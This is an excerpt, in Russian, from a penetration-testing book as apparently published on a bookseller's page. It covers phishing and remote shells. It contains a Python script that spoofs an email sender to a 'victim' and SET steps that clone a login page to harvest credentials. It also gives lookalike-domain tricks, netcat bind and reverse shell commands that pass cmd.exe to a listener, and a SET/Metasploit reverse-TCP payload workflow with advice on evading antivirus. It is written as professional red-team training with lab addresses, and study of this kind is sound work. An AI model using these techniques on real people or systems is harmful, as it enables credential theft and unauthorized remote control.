Обратите внимание на следующие две вещи в электронном письме:
- грамматические ошибки не допускаются. Например, слово following в этом сообщении использовано неверно, так что это заставит усомниться в подлинности электронного письма;
- если вы хотите использовать URL, то убедитесь, что он близок к реальному доменному имени. Например, micosoft (без r) очень похож на Microsoft.
|
Отправка электронной почты с помощью Python
|
Python — отличный язык для выполнения задач при тестировании на проникновение. Позже в данной книге вы узнаете обо всех тонкостях этого языка программирования. На данный момент следующий код показывает, как отправлять электронные письма, не полагаясь на приложение, которое сделает это за вас. Вы можете назвать сценарий sendemail.py и запустить после того, как заполните недостающую информацию:
#Используйте библиотеку smtplib, чтобы отправить e-mail import smtplib #Конфигурации #Ваш e-mail адрес, настоящий sender_email = [e-mail отправителя] #Ваше имя для e-mail username = [имя аккаунта smtp] #Пароль для вашего e-mail password = [Ваш пароль SMTP] #Подделанные данные e-mail spoofed_email = [ненастоящий e-mail адрес] #Придуманное полное имя spoofed_name = 'John Doe' #e-mail адрес жертвы victim_email = [e-mail адрес жертвы] # Тема письма subject= "Это тема\n" # Тело вашего письма body = "This is a body."
header = ('To:' + victim_email + '\n' +'From: ' + spoofed_name + ' <' + spoofed_email + '>' + '\n' + 'Subject:' + subject) message = (header + '\n\n' + body + '\n\n')
try:
session = smtplib.SMTP_SSL([домен smtp-сервера],[номер порта smtp-сервера]) session.ehlo() session.login(username, password) session.sendmail(sender_email, victim_email, message) session.quit() print "Email Sent With Success!" except smtplib.SMTPException: print "Error: Unable To Send The Email!"
|
Пришло время раскрыть наиболее выгодный и эффективный метод социальной инженерии, который вы можете использовать для атаки.
Просто предупреждение: это не руководство, которое вы можете использовать против своих друзей, чтобы украсть их пароли. Это профессиональная книга для людей, которые хотят научиться применять данный вид атак в своей работе.
Чтобы начать эту атаку, вам сначала нужно подготовить профессиональное электронное письмо в формате HTML и убедиться, что оно не вызовет никаких сомнений, когда жертва его получит. Разработчик может помочь вам клонировать сайт и прикрепить к нему базу данных, чтобы каждый раз, когда жертвы отправляют свои учетные данные, они сохранялись в этой базе данных. Если вы хотите попрактиковаться, то можете также использовать SET, чтобы выполнить эту задачу.
Откройте и загрузите приложение (вы уже научились запускать приложение ранее) и выполните следующие действия. 1. Выберите вариант № 1: Social-Engineering Attacks (Атаки методом социальной инженерии). 2. Выберите вариант № 2: Website Attack Vectors (Вектор атак на сайты). 3. Выберите вариант № 3: Credential Harvester Attack Method (Атака для сбора учетных данных). 4. Выберите вариант № 2: Site Cloner (Клонирование сайта).
set:webattack> IP address for the POST back in Harvester/Tabnabbing [10.0.20.140]: [Введите IP-адрес вашей Kali] [-] SET supports both HTTP and HTTPS [-] Example: http://www.thisisafakesite.com set:webattack> Enter the url to clone:https: [Введите URL клонируемого сайта] [*] Cloning the website: https://10.0.20.1/#/login [*] This could take a little bit... The best way to use this Attack is if username and password form fields are available. Regardless, this captures all POSTs on a website. [*] The Social-Engineer Toolkit Credential Harvester Attack [*] Credential Harvester is running on port 80 [*] Information will be displayed to you as it arrives below:
|
В идеале собирать PCAP нужно во время сканирования сети, чтобы проверить, куда дотягивается сканер. Кроме того, следует провести несколько сканирований сети, при этом минимум одна конечная точка в каждой подсети должна сканировать свою подсеть. Эти сканирования можно вручную объединить в топологию карты сети, как показано на рис. 1.4. Определите элементы, которые можно автоматизировать, чтобы этот процесс было легче повторить в будущем.
|
Посмотрите, насколько полезна будет ваша карта для красной и синей команд. Соберите отзывы, повторите процесс составления и получите карту лучшего качества за меньшее время.
Вторая важная часть — это ссылка, которую вы собираетесь добавить в свое электронное письмо. Как лучше всего скрыть этот URL? Что ж, простой ответ — создать домен, а затем создать поддомен, который является копией исходного. В качестве примера возьмем домен Facebook.com. Чтобы получить успешный результат, создайте поддельный домен с похожим именем, например Fcb.com, а затем создайте поддомен Facebook.com. Вот как это должно выглядеть:
facebook.fcb.com
Я не призываю вас использовать Facebook в вашем тесте. У вас нет разрешения Facebook на выполнение данного действия. Это просто для примера.
На практике красные команды и пентестеры должны будут использовать сайт либо работодателя, либо клиента. Отличный реалистичный пример — клонирование сайта интрасети вашего клиента/работодателя, чтобы вы могли украсть учетные данные домена жертвы. Затем вы отправите электронное письмо своей жертве, как было показано выше. В идеале вы использовали убедительное электронное письмо, побуждающее сотрудников щелкнуть на URL, который перенаправит сотрудников на поддельный сайт. Сотрудники начнут вводить свои учетные данные и после нажатия кнопки входа в систему будут перенаправлены на настоящий сайт. Теперь у злоумышленника есть учетные данные несчастных жертв.
|
ПОЛЕЗНАЯ НАГРУЗКА И СЛУШАТЕЛИ
|
В этом разделе вы узнаете, как создать полезную нагрузку и слушатель. Если вы новичок, то ниже описаны основные принципы, которые вам нужно знать, прежде чем продолжить.
Полезная нагрузка — это исполняемый файл, который позволит вам подключиться к слушателю. Цель состоит в том, чтобы установить TCP-соединение между хостом-жертвой и злоумышленником. Как только оно будет установлено, хакер сможет управлять операционной системой жертвы с помощью удаленной командной оболочки (командной строки). Эта удаленная командная оболочка может быть либо прямым шеллом (командной оболочкой), либо обратным.
|
Прямое и обратное подключение
|
Прежде чем мы перейдем к следующей главе этой книги, очень важно понять разницу между прямым и обратным подключением. Многие любители и профессионалы в области безопасности имеют неправильное представление об этих двух концепциях. Мы воспользуемся некоторыми практическими примерами, которые помогут вам их понять.
|
Прямой шелл
В командной оболочке с прямым подключением (bind) злоумышленник подключается напрямую из Kali к машине жертвы, на которой уже запущен приемник (слушатель) (рис. 5.2). В этом сценарии мы будем использовать Netcat для выполнения задачи. Этот инструмент удобен при тестировании на проникновение, решении задач по захвату флага (CTF) и сертификационных экзаменов, таких как OSCP. Мы подключимся напрямую с атакующего хоста Kali к целевому хосту с Windows10.
|
Если вы хотите попрактиковаться в том же упражнении со своей стороны, то двоичный файл Netcat для Windows на Kali находится в /usr/share/windows-binaries/nc.exe. Скопируйте файл nc.exe на свой хост Windows, чтобы воспроизвести результаты.
Затем запустите Netcat в режиме прослушивания, используя параметр -l; кроме того, используйте порт 9999 для прослушивания входящих подключений. После этого используйте ключ -e, чтобы перенаправить вывод командной строки на удаленное соединение:
PS C:\Users\gus\Documents\Shared> ./nc.exe -nlvp 9999 -e C:\Windows\ System32\cmd.exe listening on [any] 9999 ...
После запуска слушателя на хосте Windows вернитесь к сеансу терминала Kali и подключитесь напрямую к ОС Windows с помощью Netcat к порту 9999:
root@kali:/# nc -nv 10.0.20.127 9999 (UNKNOWN) [10.0.20.127] 9999 (?) open Microsoft Windows [Version 10.0.17763.1039] (c) 2018 Microsoft Corporation. All rights reserved.
C:\Users\gus\Documents\Shared>
|
Обратный шелл
Шелл с обратным подключением — излюбленный вариант для пентестеров, и вы много прочитаете о нем в данной книге. Метод противоположен прямому подключению. В этом сценарии злоумышленник прослушивает входящие соединения от любой жертвы. Секрет таков: при подключении через обратную командную оболочку брандмауэры обычно пропускают трафик. Вместе с тем брандмауэр может блокировать любые входящие подключения извне на ваш слушатель. Вот почему в сообществе обычно используется обратный шелл (рис. 5.3).
|
Снова попрактикуемся по сценарию с обратным шеллом, используя Netcat. Сначала запустите слушатель Netcat на хосте (Kali в этом примере). Используйте порт 8888 для прослушивания входящих соединений:
root@kali:/# nc -nlvp 8888 listening on [any] 8888 ...
Затем переключитесь на хост Windows жертвы и подключитесь к слушателю на порте 8888 вашей Kali. Обратите внимание, что IP-адрес виртуальной машины Kali — 10.0.20.140:
PS C:\Users\gus\Documents\Shared> ./nc.exe 10.0.20.140 8888 -e C:\Windows\ System32\cmd.exe
Вернемся к нашему Kali-хосту, где мы должны увидеть успешное обратное подключение.
root@kali:/# nc -nlvp 8888 listening on [any] 8888 ... connect to [10.0.20.140] from (UNKNOWN) [10.0.20.127] 54479 Microsoft Windows [Version 10.0.17763.1039] (c) 2018 Microsoft Corporation. All rights reserved.
C:\Users\gus\Documents\Shared>
|
Обратный шелл с помощью SET
Вы должны быть внимательны при обеспечении защиты своей полезной нагрузки, когда отправляете ее на целевой хост. Другими словами, вы должны убедиться, что ваш исполняемый файл полезной нагрузки не будет обнаружен антивирусным программным обеспечением, установленным на компьютере жертвы. Обязательно скопируйте полезную нагрузку на другой тестовый компьютер, на котором установлен антивирус того же типа. Если вы не знаете, какое антивирусное ПО установлено на хосте жертвы, то вам необходимо загрузить свою полезную нагрузку и просканировать его с помощью общедоступного сайта поиска вирусов VirusTotal (рис. 5.4):
www.virustotal.com/gui/home/upload
|
Лучший способ скрыть вашу полезную нагрузку — использовать собственную. То есть вам нужно разработать полезную нагрузку с помощью такого языка программирования, как Python, PowerShell, C# и т. . д. Позже вы узнаете больше на эту тему, но пока посмотрим, как сгенерировать полезную нагрузку с помощью SET.
Сначала запустите приложение SET и выберите следующие параметры.
- Выберите вариант № 1: Social-Engineering Attacks (Атаки методом социальной инженерии).
- Выберите вариант № 4: Create a Payload and Listener (Создание полезной нагрузки и слушателя).
- Выберите вариант № 1: Windows Shell Reverse_TCP (Обратная командная оболочка Windows по протоколу TCP).
Затем вам будет предложено ввести IP-адрес вашего хоста Kali (злоумышленника) и номер порта, который вы хотите прослушивать. Как только вы это сделаете, он сгенерирует полезную нагрузку в /root/.set/payload.exe. Наконец, вам будет предложено запустить слушатель. В нашем примере выберите yes:
set:payloads> IP address for the payload listener (LHOST):10.0.20.140 set:payloads> Enter the PORT for the reverse listener:7777 [*] Generating the payload.. please be patient. [*] Payload has been exported to the default SET directory located under/root/.set/payload.exe set:payloads> Do you want to start the payload and listener now? (yes/ no):yes [*] Launching msfconsole, this could take a few to load. Be patient...
На данном этапе SET автоматически запускает обработчик запросов Metasploit. Мы углубимся в Metasploit позже в этой книге, и вы увидите, как создать слушатель вручную. SET сделает все за вас без лишних хлопот.
Теперь слушатель должен запуститься и ждать входящих соединений от жертвы:
=[ metasploit v5.0.85-dev ] + -- --=[ 2002 exploits — 1093 auxiliary — 342 post ] + -- --=[ 560 payloads — 45 encoders — 10 nops ] + -- --=[ 7 evasion ]
Metasploit tip: You can use Help to view all available commands
[*] Processing /root/.set/meta_config for ERB directives. resource (/root/.set/meta_config)> use multi/handler resource (/root/.set/meta_config)> set payload windows/shell_reverse_tcp payload => windows/shell_reverse_tcp resource (/root/.set/meta_config)> set LHOST 10.0.20.140 LHOST => 10.0.20.140 resource (/root/.set/meta_config)> set LPORT 7777 LPORT => 7777 resource (/root/.set/meta_config)> set ExitOnSession false ExitOnSession => false resource (/root/.set/meta_config)> exploit -j [*] Exploit running as background job 0. [*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 10.0.20.140:7777 msf5 exploit(multi/handler) >
Пришло время отправить полезную нагрузку на виртуальную машину хоста Windows 10 нашей жертвы и выполнить ее оттуда. Обратите внимание, что полезная нагрузка сохраняется в /root/.set/payload.exe.
Затем скопируйте файл payload.exe на хост Windows и дважды щелкните на нем, чтобы запустить его на виртуальной машине Windows. Чтобы это заработало, я должен отключить антивирусное программное обеспечение на хосте Windows 10 перед копированием файла payload.exe.
После того как файл полезной нагрузки будет выполнен на хосте Windows, слушатель Metasploit должен показать успешное соединение. Чтобы увидеть текущий открытый сеанс, используйте команду sessions. Выполнив ее, вы увидите, что есть один открытый сеанс. Чтобы взаимодействовать с этим сеансом, запустите команду sessions -i 1. Как только вы нажмете Enter, у вас будет под рукой обратная командная оболочка Windows:
[*] Started reverse TCP handler on 10.0.20.140:7777 msf5 exploit(multi/handler) > [*] Command shell session 1 opened (10.0.20.140:7777 -> 10.0.20.127:54501) at 2020-05-22 11:27:38 -0400 sessions
Active sessions ===============
Id Name Type Information Connection -- ---- ---- ----------- ---------- 1 shell x86/windows Microsoft Windows [Version 10.0.17763.1039] (c) 2018 Microsoft Corporation. A... 10.0.20.140:7777 -> 10.0.20.127:54501 (10.0.20.127)
msf5 exploit(multi/handler) > sessions -i 1 C:\Users\gus\Documents\Shared>
|
Гас Хаваджа — эксперт по безопасности приложений и тестированию на проникновение. Работает консультантом по кибербезопасности в Монреале и имеет большой опыт сотрудничества с организациями в проектах по защите их активов от кибератак. Является публикуемым автором и онлайн-консультантом.
Кори Болл — эксперт по кибербезопасности с более чем десятилетним опытом. Специализируется на API, веб-приложениях и сетях. В настоящее время имеет более десяти сертификатов по кибербезопасности, включая OSCP, CISSP, CISM и CCISO. Карьерный наставник в Cybrary по вопросам кибербезопасности и автор книги Hacking APIs.
Подробнее с книгой можно ознакомиться в нашем каталоге.
|
|
|
Комментарии: 0
Пока нет комментариев